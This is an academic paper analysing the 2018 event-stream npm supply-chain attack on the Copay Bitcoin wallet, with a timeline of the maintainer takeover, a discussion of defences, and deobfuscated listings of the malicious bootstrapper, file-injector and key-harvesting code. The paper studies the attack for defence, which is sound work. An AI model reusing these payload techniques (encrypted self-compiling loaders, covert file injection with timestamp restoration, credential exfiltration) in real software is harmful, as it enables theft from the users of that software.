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ABSTRACT
On October 5, 2018, a GitHub user announced a critical security
vulnerability in event-stream, a JavaScript package meant to sim-
plify working with data-streams. The vulnerability, was introduced
by a new maintainer, by including code designed to harvest ac-
count details from select Bitcoin wallets when executing as part
of the Copay wallet. At the time of the incident, event-stream
was used by hundreds of applications and averaged about two
million downloads per week. This paper reports on the results of
an independent analysis of the event-steam incident. A series of
steps allowed the attacker to take control of important account
functions, while the attack was designed to activate only on select
few environments—only when part of a specific dependency tree,
only on specific wallets, and only on the live Bitcoin network. Con-
ventional program analysis techniques would have likely missed
the attack, and manual vetting proved to be inadequate for the
scale and complexity of dependencies used in modern applications.
This incident is an important example of the risks associated with
long software supply chains using third-party libraries, calling the
research community to arms.

CCS CONCEPTS
• Software and its engineering → Automated static analysis;
Dynamic analysis; Scripting languages; • Security and privacy →
Software and application security.
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1 INTRODUCTION
In today’s software development world, developers encapsulate
and share reusable functionality through the use of software de-
pendencies—often called modules, libraries, packages, or imports.
Software dependencies offer several benefits: they offer additional
functionality that a developer might want to invoke from within
their program, without them having to implement that functionality.
The use of modern dependency (or package) managers has simpli-
fied sharing and dealing with third-party dependencies. Package
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managers automate the downloading and installation of software
dependencies. This automation has resulted in an explosion of
third-party dependency use and re-use, to the point where public
language ecosystems experience exponential growth. And as de-
pendencies have themselves dependencies—often called transitive
or recursive dependencies—the resulting numbers of dependencies
included in modern software is concerning: modern applications
feature hundreds or thousands of dependencies, to the point where
the vast majority of the code comprising a modern application is
not written by its nominal developers [15, 16, 29, 32].
Supply-chain attacks This trend has profound security implica-
tions and has given rise to supply-chain attacks employed increas-
ingly by malicious adversaries. Rather than directly targeting a
victim software, these attacks target a victim’s software supplier
to which the adversaries have direct access. Long supply chains
translate to a disproportionately attack surface which is also easier
to study and manipulate, as dependencies and their acquisition
channels are not protected at the same degree as the software com-
ponent that depend on them. Open source software is the most
prominent target for supply-chain attacks, due to the large amount
of reused open source components and the limited engineering
resources available to most organizations building on these open
source components.

In the case of open-source software, attackers can exploit vulner-
abilities that are widely known—for example, by browsing the bug
repository of a software project. Increasingly, however, adversaries
purposefully insert vulnerabilities they later exploit—at times, years
after the software dependency is formed. This gives adversaries
significant control over the nature and specifics of the attack, which
if hidden well can be lurking in the dependency chain for years and
affect a very large number of projects.
Event-stream incident In 2018, such a supply-chain attack in-
volved a library called event-stream and meant to simplify work-
ing with data-streams. At the time of the incident event-stream
was used by thousands of applications and averaged about two
million downloads per week. The attack was highly targeted, fo-
cusing on stealing the wallet credentials of users with wallets of
certain amount of Bitcoin or Bitcoin cash. The attack succeeded,
directly affecting several users, and caused a significant outcry in
both the JavaScript and crypto-currency communities [19, 27]. In
this work, we report the results of a thorough independent analysis
on the event-stream incident. As the incident is symptomatic of
much deeper, more insidious problems across the entire ecosystem,
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a broader incident analysis highlights several factors that need to
be addressed in order to prevent further accidents of a similar kind
in the future.

The paper starts with an overview of the attack’s social as-
pects (§2), a detailed analysis of three payloads comprising the
attack (§3), a study of applying potential mitigation on the event- ⌋
stream attack (§4), before closing with a discussion (§5). The paper
comes with an additional online appendix and interactive code ex-
ploration tool allowing researchers to explore the different phases
of the attack. The URL below contains the accompanying materials:

es-incident.github.io

2 OVERVIEW AND HISTORY OF THE
EVENT-STREAM INCIDENT

Module event-stream [6] is an npm package that makes creating
and working with streams easy. Its creator is GitHub user @do-
minictarr, an experienced developer and author of more than 450
npm packages. Module event-stream is one of his more popular
npm packages as it averages more than 1.500.000 downloads per
week. More than 1500 packages are dependent on event-stream.
This section of the paper is structured as follows: It starts with an
attack overview (§2.1) and then proceeds with a timeline of the
events (§2.2).

2.1 Attack Overview

3.3.5 3.3.6 4.0.0

0.1.0 0.1.1

5.0.2 5.1.0

flatmap-stream

event-stream

Copay

^0.1.0

^3.3.5

Fig. 1: Package dependency graph along with relevant versions. Highlighted
in red are versions shipped with the malicious code.

Sometime around early to mid September of 2018, @right9ctrl 1
offered to take over maintenance duties on the event-stream pack-
age. Package event-stream maintainer @dominictarr accepted,
making@right9ctrl themaintainer of the package. Then,@right9ctrl
introduced flatmap functionality by adding the flatmap-stream [10]
dependency to event-stream. The flatmap-stream package sup-
ports a flatmap function in addition to the regular map already
supported by event-stream. User @right9ctrl did not specify an
exact version of flatmap-stream [10], but rather a range of possi-
ble versions, with ^0.1.0. Shortly after, flatmap-stream version
0.1.1, was released and was within the specified version range. This
new module included obfuscated malicious code in its minified 2

version. Module event-stream version 3.3.6 hosted this malicious
1User’s @right9ctrl GitHub account is now deleted.
2Minification is the process of removing comments, non-essential whitespace, and
replacing long identifiers from source code to reduce its size. This process is usually
automated and is done to improve website performance.

code due to the flatmap-stream dependency. Third party packages
that depended on event-stream version 3.3.6, would now receive
the infected event-stream release. This is how the malicious code
reached its target, Copay [2].

Copay is an open-source Bitcoin wallet platform. The attack
succeeded as the malicious code reached Copay on versions 5.0.2 to
5.1.0 (inclusive). This is illustrated in Fig. 1. The injected code did the
following on end-user’s devices: (1) it checked the account balance
of the victim’s Copay account. (2) If the current balance exceeded
100 Bitcoin or 1000 Bitcoin Cash, the malicious code would (3) steal
the victim’s account data and theirs Copay private keys and (4)
send them to a web-server based in Malaysia.

The malicious code was broken down in three payloads: payload
A (bootstrap), payload B (injector) and payload C (harvester). Pay-
load A had minified code as it referred to an auxilary data file that
had 10 lines containing strings in hexadecimal format. Payload A
pulled in these strings, converted from hexadecimal to text strings
and replaced them on its source to form the final version of the
code. That way it was exceedingly difficult for anyone viewing the
minified code to understand its function. Among the hex data in the
file, there were two large encrypted strings, which corresponded
to binary data. Those strings turned out to be payloads B and C,
respectively. Payload A then looked for the decryption key in the
dependant package’s description. This allowed it to target Copay
exclusively. If the key was found, payload A would create a new
module with payload B as its source and payload C as its export.

In Fig. 2, we visually show how the packages, modules, and files
examined interact with each other. In the following sections, we
will analyze each step of the attack process.

2.2 Attack Timeline

Overtaking Maintenance: On July 31, 2015, GitHub user @devi-
nus, commented on an issue [5] against the event-stream GitHub
repository, questioning whether flatmap functionality would be
welcomed, to which the package maintainer, @dominictarr, replied
positively. This information was presumably later discovered by
malicious user @right9ctrl. That user, approached @dominictarr,
between August 5 and September 4 of 2018. User@right9ctrl offered
assistance to the package maintenance and proposed to make the
necessary changes to introduce flatmap functionality. This introduc-
tion would be achieved by adding the flatmap-stream package as
a new dependency. User @dominictarr accepted this offer, making
@right9ctrl a contributor to the event-stream Github repository
and giving them full publishing rights for the module on the NPM
ecosystem. In order to publish on the NPM ecosystem you need to
be given publishing rights by the package maintainer.
Benign Commits Phase: Soon after, @right9ctrl pushed a series
of benign commits to the event-stream GitHub repository, poten-
tially to gain @dominictarr trust. Here is a list of those commits:
• b550f5: (Upgrade dependencies)
• 37c105: (Add map and split examples)
• 477832: (Remove trailing space in split example)
• 2c2095: (Add better pretty.js example)
• a644c5: (Update Readme)

https://es-incident.github.io
https://github.com/dominictarr
https://github.com/dominictarr
https://github.com/dominictarr
https://github.com/devinus
https://github.com/devinus
https://github.com/dominictarr
https://github.com/dominictarr
https://github.com/dominictarr
https://github.com/dominictarr
https://github.com/dominictarr/event-stream/commit/a74c9b2ab433c4e36089fbb72931f6b786b550f5
https://github.com/dominictarr/event-stream/commit/0cc6c7f6c762ef7a8c288296d537d4255337c105
https://github.com/dominictarr/event-stream/commit/ee8f8e4e9297890fdf3cb66584589eb493477832
https://github.com/dominictarr/event-stream/commit/c08d14b777aa48524948c6d0de024096bf2c2095
https://github.com/dominictarr/event-stream/commit/05b0224c058a721ed293b1fc2ac3c0c608a644c5
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Fig. 2: An overview of the interactions between files and modules.

• 31ab0e: (Release version 3.3.5)

Introducing flatmap-stream: On September 9, 2018 the follow-
ing commit was pushed to the event-stream GitHub repository
by user @right9ctrl:
• 2b8285: (Add flatmap dependency)
This commit introduces flatmap-stream as a dependency to

event-stream. Note that on line 12 of package.json, a caret is
used to specify the version of flatmap-stream. In the context of
npm’s dependency handling, the caret ’^’ means ’Compatible with
version’ and is commonly used in semantic versioning [17]. For
example ^2.3.4 will use versions up to 3.0.0.
Some final changes to event-stream: These are the commits
pushed after the introduction of flatmap-stream:
• 8bdfe2: (Release version 3.3.6)
• 935cd1: (Remove flatmap dependency)
• 145601: (Update package.json)
• c98f7d: (Release version 4.0.0)
• d3b9c9: (Add search keywords)
On October 5, 2018 flatmap-stream version 0.1.1 included the

malicious attack in itsminified source code. Version 3.3.5 of event- ⌋
stream had been stable for a long time and as a result a lot of
projects depended on it.

A large number of software projects depended on the version
"^3.3.5" of event-stream and since they used the caret, would
now get automatically updated to event-stream 3.3.6. As was
mentioned earlier, event-stream 3.3.6 pulls in a fresh flatmap- ⌋
stream 0.1.1 with the malicious code included due to its "^0.1.0"
flatmap-stream dependency.
Detection of the attack: On October 29, 2018 @jaydenseric
opened an issue [25] on the nodemon repository reporting an un-
expected deprecation warning. This warning was caused by the
deprecated method createDecipher, used in the malicious code.
User @FallingSnow suspects it is an injection attack and opens an
issue [27] against event-stream on November 20, 2018. Shortly
afterwards, on November 26, 2018 the flatmap-stream package
got removed from npm.

3 ANALYSIS OF THE ATTACK
This section of the paper analyzes the three payloads of the attack.

3.1 Payload A
Payload A acts as the bootstrapper for the rest of the Payloads and
was appended to the flatmap-stream codebase in version 0.1.1.
The payload consists of the following code:

1 ! function() {
2 try {
3 var r = require,
4 t = process;
5 function e(r) {
6 return Buffer.from(r, "hex").toString()
7 }
8 var n = r(e("2e2f746573742f64617461")),
9 o = t[e(n[3])][e(n[4])];
10 if (!o) return;
11 var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
12 a = u.update(n[0], e(n[8]), e(n[9]));
13 a += u.final(e(n[9]));
14 var f = new module.constructor;
15 f.paths = module.paths, f[e(n[7])](a, ""),
16 f.exports(n[1])
17 } catch (r) {}
18 }();

This code is unreadable, as it is still obfuscated. Let us walk
through it line by line, deobfuscating and analyzing it. Function e
converts a hexadecimal string to text. It is first used in line 8:

1 var n = r(e("2e2f746573742f64617461"));

The hexadecimal string is equivalent to ./test/data, and func-
tion r is the function require. So, after renaming n to testData,
line 8 becomes as follows:

1 var testData = require("./test/data");

This line imports an auxiliary data file. This data file contains
10 hexadecimal string literals. Next to them you can see their string
representation. Multiple of these strings are related to cryptography
and would raise suspicion should anyone see them in a module
such as flatmap-stream. Here are the contents of the data file:

https://github.com/dominictarr/event-stream/commit/918d4a3398166d6f4264f7fc4ec2cc43f731ab0e
https://github.com/dominictarr/event-stream/commit/e3163361fed01384c986b9b4c18feb1fc42b8285
https://github.com/dominictarr/event-stream/commit/5999958dfc1b0a80e6caeac4cdc76b3b828bdfe2
https://github.com/dominictarr/event-stream/commit/908fee5c65d4eb02809a84a1ebc3e5df1f935cd1
https://github.com/dominictarr/event-stream/commit/2bd63d58fe24367372690c29c7249ed1c7145601
https://github.com/dominictarr/event-stream/commit/8bc742ba91aca6c5f5b9467d8d7653c95ec98f7d
https://github.com/dominictarr/event-stream/commit/60d0aa3def10c09ead68ee43804f244ffbd3b9c9
https://github.com/jaydenseric
https://github.com/remy/nodemon/
https://github.com/FallingSnow


EUROSEC ’22, April 5–8, 2022, Rennes, France Iosif Arvanitis, Grigoris Ntousakis, Sotiris Ioannidis, and Nikos Vasilakis

1 module.exports = [
2 "75d4c...629", // Payload B
3 "db673...6e1", // Payload C
4 "63727970746f", // crypto
5 "656e76", // env
6 "6e706d...f6e", // npm_package_description
7 "616573323536", // aes256
8 "63726...6572", // createDecipher
9 "5f636f6d70696c65", // _compile
10 "686578", // hex
11 "75746638" // utf8
12 ];

Line 9 extracts the fourth and fifth string from the data file.
Variable o has been renamed to desc for readability:

1 var desc = process.env.npm_package_description;

This line fetches the description of the package from the node.JS
environment. The if statement on line 10 ensures that the descrip-
tion is not blank.

From line 11 up to line 15 we repeat the process of getting a
line from the auxiliary data file and converting it to string. We do
that in order to deobfuscate the rest of the function. Moreover, we
rename variable u to decipher, a to text, and f to newModule. By
doing so, we get:

1 var decipher = require("crypto").
2 createDecipher("aes256", desc);
3 var text = decipher.update(testData[0],
4 "hex", "utf8");
5 text += decipher.final("utf8");
6 var newModule = new module.constructor();
7 newModule.paths = module.paths;
8 newModule._compile(text, "");
9 newModule.exports(testData[1]);

These lines of code perform the following actions:
1. Using the package description fetched previously, it creates a

decipher instance.
2. It uses the decipher instance to decrypt the first line (which

consists of binary data) from the file.
3. A new module is created with the decrypted data from the file

as its source, and the second line from the file is exported from
that module (Fig. 2.1).
Since the description of a specific npm package is used as the

decryption key, payloads B and C are decrypted correctly only when
flatmap-stream is part of the dependency tree through event- ⌋
stream. Hence, the scope of the attack is limited to Copay, which
also helps minimize detection risk.

A common theme among all three payloads, is the presence of
try-catch statements. These ensure that if any part of malicious
code fails, the attack would fail silently, raising no suspicion.

3.2 Payload B
After successful decryption of the first line of the data file from
payload A, payload B is created as a new module. Payload B acts as
the injector. This new unobfuscated module looks as follows:

1 /*@@*/
2 module.exports = function(e) {

3 try {
4 if (!/build\:.*\-release/
5 .test(process.argv[2]))
6 return;
7 var t = process.env.npm_package_description,
8 r = require("fs"),
9 i = "/path/ReedSolomonDecoder.js",
10 n = r.statSync(i),
11 c = r.readFileSync(i, "utf8"),
12 o = require("crypto").
13 createDecipher("aes256", t),
14 s = o.update(e, "hex", "utf8");
15 s = "\n" + (s += o.final("utf8"));
16 var a = c.indexOf("\n/*@@*/");
17 0 <= a && (c = c.substr(0, a)),
18 r.writeFileSync(i, c + s, "utf8"),
19 r.utimesSync(i, n.atime, n.mtime),
20 process.on("exit", function() {
21 try {
22 r.writeFileSync(i, c, "utf8"),
23 r.utimesSync(i, n.atime, n.mtime)
24 } catch (e) {}
25 })
26 } catch (e) {}
27 };

We start with line four:
if (!/build\:.*\-release/.test(process.argv[2]))
return;

The script is executed by a command in this format:
npm run-script script-name

The regex from line 4 tests if script-name starts with 'build:'
and ends with '-release'. The regex was designed to test for
scripts that target the Android, iOS, and desktop versions of Copay
as opposed to internal test builds for Copay’s developers.

The Copay application has another non-malicious dependency
called ZXing, which is a barcode processing library. This module
imports ReedSolomonDecoder.js, which is being targeted by pay-
load B for the injection. In particular, the code of payload C will be
injected into the ReedSolomonDecoder.js file by modifying the
file on disk. However, this file is loaded in the context that the
malicious script is intended to be run in. If the file has not been
modified, payload B does nothing. If it does, '/*@@*/' appears in
the file and payload C is injected into the file, awaiting execution
(Fig. 2.2). After the injection occurs, payload B replaces the meta-
data of the file (modified/accessed timestamps) so that it appears
like the file has not been altered.

Payload B demonstrates profound knowledge of Copay’s internal
workings by the attackers, as they were aware of Copay’s build
scripts, as well as the package’s use of the ReedSolomonDecoder.js
file.

3.3 Payload C
Payload C acts as the harvester, and is executed when Copay loads
ReedSolomonDecoder.js. It consists of several functions working
together, including the auxiliary prepRequest, sendRequest, and
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getFromStorage functions. The common theme across all the func-
tions of this Payload, is that they reproduce the original behaviour
as to suggest that no suspicious activity is taking place at all.

Function prepRequest prepares a payload 3 to be sent by func-
tion sendRequest. The payload gets encrypted using the public
key provided by the attacker. Function sendRequest takes as argu-
ments an IP address, a path, and a payload. It then sends the payload
as a string to the host inputted on the specified path. Then, the pay-
load is sent to copayapi.host and 111.90.151.134—a web-server
based in Kuala Lumpur, Malaysia. Function getFromStorage stores
the contents of a file in a variable and then parses it to a callback
function. It does so by first detecting the current environment:
Mobile, Cordova or Electron.

The order of execution is as follows:
1. Using getFromStorage, the user’s credentials are retrieved and

passed to a callback function
2. The callback function ensures that it is being run on the live

Bitcoin network, labeled livenet.
3. The callback functions checks the balance of the user; if it exceeds

100 BTC or 1000 BCH it marks the account using a global variable.
4. The account credentials are finally sent using the prepRequest

and sendRequest functions, regardless of the account balance.
The injected code proceeds with the following process:

1 var Cred = require(
2 "bitcore-wallet-client/lib/credentials.js");
3 Cred.prototype.getKeysFunc = e.prototype.getKeys;
4 Cred.prototype.getKeys = function(e) {
5 var t = this.getKeysFunc(e);
6 try {
7 if (global.CSSMap &&
8 global.CSSMap[this.xPubKey]) {
9 delete global.CSSMap[this.xPubKey];
10 prepRequest("p", e + "\t" + this.xPubKey))
11 }
12 } catch (e) {}
13 return t
14 }

This last section of code intercepts and monkey-patches the
getKeys function from the Credentials class (Fig. 2.3). Monkey-
patching refers to dynamically altering an object’s method during
the execution of a program. The patched version of the function
reproduces the functions original result but it also checks the global
variable used previously by the callback function to flag each key.
If the value comes up positive, meaning the account balance re-
quirements are met, it deletes the variable to remove any remain-
ing traces and transmits the user’s Copay private keys using the
prepRequest function (Fig. 2.4). The script is launched as soon as
the user’s device is ready, using the following code segment:

1 window.cordova ?
2 document.addEventListener("deviceready",
3 runPayload) : runPayload()

3Not to be confused with the malicious code payloads

4 DISCUSSION OF POTENTIAL DEFENCES
This section explores technical and non-technical approaches fo-
cusing on the detection of and defense against software supply-
chain threats. As the event-stream incident poses an impactful
real-world supply-chain attack, it is worth studying how common
defenses would fare against it.

Program analysis, transformation, and synthesis techniques stand
out as key levers for detecting and mitigating supply-chain threats.
Among other approaches, these techniques have been used to (1)
sandbox untrusted software dependencies, isolating them from the
rest of the application and the broader environment, (2) eliminate or
de-bloat unused functionality, reducing the program surface avail-
able for adversarial subversion, (3) extract key invariants about
the execution of these dependencies, highlighting potential behav-
iors a dependency can or cannot have, (4) prove key properties
about a software component, often generating machine-checkable
specifications about its behavior, (5) learn and regenerate the core
functionality of a dependency, effectively eliminating malicious
dependencies from the supply chain. Other approaches employed
today include dependency pinning, manual vetting, and automated
checks for known vulnerabilities.
Static program analysis Static program analysis [11, 14, 31]
is a technique for understanding program or program-fragment
behavior by examining its source or object code. It typically parses
and lifts the code into an intermediate representation that is more
amenable to analysis and transformation. As it focuses on code
written in a single encoding, static analysis is typically geared
towards (and built around) a specific programming language—and
thus a single analysis tool cannot apply analysis and maintain
information across language boundaries.

In the case of the event-stream incident, static analysis could
trivially operate on the minified version of the code (i.e., r instead
of require etc.). However, as the event-stream attack used a se-
ries of phases many of which employed encrypted payloads (i.e.,
large strings in hexadecimal encoding), it is unlikely that static
program analysis alone would have been able to detect the attack.
Additionally, static analysis is typically run on the development
version of a library—but the malicious event-stream was offered
only on the npm registry rather than its GitHub repository.
Dynamic program analysis Dynamic program analysis [7, 20,
24, 30] is a long-standing technique for monitoring, understanding,
and potentially intervening in program behavior during its execu-
tion. Since dynamic analysis tracks an execution of the program,
it depends on certain test inputs to understand common program
behavior. It also incurs a runtime overhead that slows down the
execution of the program and is therefore usually not employed on
production environments.

As the event-stream attack activated very selectively—among
other environment requirements, only on production environments
and only on the live Bitcoin network—it is highly unlikely that
dynamic analysis alone would have detected the event-stream
attack. It is more likely that dynamic program analysis would be
useful in extracting invariants about the benign event-stream
behavior—e.g., the permissions exercised during the normal exe-
cution of the event-stream library—which could then be used as
a ground-truth information in cases of divergence. Since dynamic
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analysis is not typically employed in production environments, it
is unclear how such ground-truth invariants could be of significant
aid when event-stream diverges.
Runtime component protection Runtime component protec-
tion techniques [3, 4, 8] provide monitoring, instrumentation, and
policy enforcement during program execution. Typically these tech-
niques are applied at the system level across the entire program—
e.g., via containerization and kernel jails—and more rarely through
sandboxing, wrapping, or transformation of individual libraries.

It is unclear whether system-level application sandboxing would
have helped in the event-stream incident. From the perspective
of the operating system or runtime environment there is no dis-
tinction between program components, and thus it is not clear
why a certain call to Even with file-system virtualization, the mali-
cious event-stream would have updated the local version of the
Reed–Solomon decoder which would then been used inadvertently
from the (benign) ZXing library. Tight library-level sandboxing
could have likely worked, as there was no reason for the purely
functional computation implemented by flatmap-stream to access
the file system.
Functionality elimination & code debloating Functionality
elimination [22] and, more recently, code debloating [1, 9, 12, 13]
attempt to minimize the attack surface of a program by completely
eliminating functionality altogether. Rather than locking what func-
tionality a piece of code can access at runtime, these techniques
attempt to eliminate code that is unused during program execution.
Using automated analyses, these techniques need to hit a spot be-
tween soundness and completeness similar to automated program
analysis and library sandboxing techniques mentioned earlier. As a
result, they use static analysis, dynamic analysis, or a combination
thereof to identify unused or unreachable program regions.

In the case of the event-stream incident, it is possible that
these techniques would have eliminated the malicious code. Since
the attack activated highly selectively, code debloating techniques
would likely not have witnessed the execution paths taken by the
malicious code—including writing to an external file, changing
metadata, and overriding key functionality.
Active library learning & regeneration Given a potentially
compromised software component, active-learning and regenera-
tion techniques explore the behavior of the component in a con-
trolled environment to learn a model of its functional behavior [28].
These techniques choose inputs, feed these inputs to the compo-
nent, and observe the resulting outputs to infer a model of the
client-observable functionality that the component implements.
This model excludes behavior characteristic of inserted vulnerabili-
ties, as these are not typically exercised if the component is executed
in an environment other than the one targeted by the attack. The
active learning and regeneration techniques then use the inferred
model to regenerate a new version of the component—discarding
any vulnerabilities or added computations.

Active learning and regeneration would have likely worked
against the malicious version of event-stream module, which
along with the malicious computation it implemented complete and
unmodified the core computation that the original event-stream
library implemented. The client code interacting with component

observes only the functional behavior of the component, i.e., the
results that it returns to the client when invoked, and not any
malicious side effects, additional computation, or external commu-
nication that the component may perform when it executes.
Ecosystem approaches Language ecosystem tooling such as
package and dependency managers today offer a variety of func-
tionality aiding developers in checking or operating their depen-
dency chains. Typical functionality offered by such toolchains today
including checking for known vulnerabilities in a program’s de-
pendency chain or pinning (freezing) its dependencies to a specific
version [18, 21, 23, 26].

Checking the dependency tree for known vulnerabilities would
have not helped, as the event-stream was a malicious zero-day
attack purposefully and stealthily inserted to the event-stream
library. Dependency pinning could have delayed the deployment
of the event-stream in production environments, but would have
likely not stopped the attack—Copay developers could have up-
dated their dependencies to the latest version manually. Addition-
ally, these approaches may cause users to forego valuable bug and
vulnerability fixes that come with newer versions of a library.

5 CONCLUSION
Software is not only used at an unprecedented scale; it is re-used at
an unprecedented scale—from the smallest cryptographic primitives
to simple padding routines to shared system libraries. This trend
is only accelerating due to the unprecedented economic cost and
scale of modern software—which is inherently not amenable to
mass production. Supply-chain attacks are thus quickly becoming
the primary attack vector employed by malicious adversaries.

The event-stream incident—targeting a package used by hun-
dreds of applications and averaged about two million downloads
per week—serves as a prime example of this technique. The vulner-
ability, introduced by a new maintainer, included code designed to
harvest account details from select Bitcoin wallets when executing
as part of the Copay wallet. A series steps allowed the attacker to
take control of important account functions, while the attack was
designed to activate only on select few environments—only when
part of a specific dependency tree, only on specific wallets, and
only on the live Bitcoin network.

An important first step for countering such attacks is to raise
awareness: developers need to be aware of the trade-offs involved in
using third-party dependencies and take active steps in protecting
their software against such threats; governments and non-technical
stakeholders need to understand that software is no longer written
by a single party; and security researchers need to explore tech-
niques for detecting and defending against supply-chain attacks
with minimal developer effort. Conventional program analysis tech-
niques would have likely missed the attack, and manual vetting
proved to be inadequate for the scale and complexity of dependen-
cies used in modern applications.
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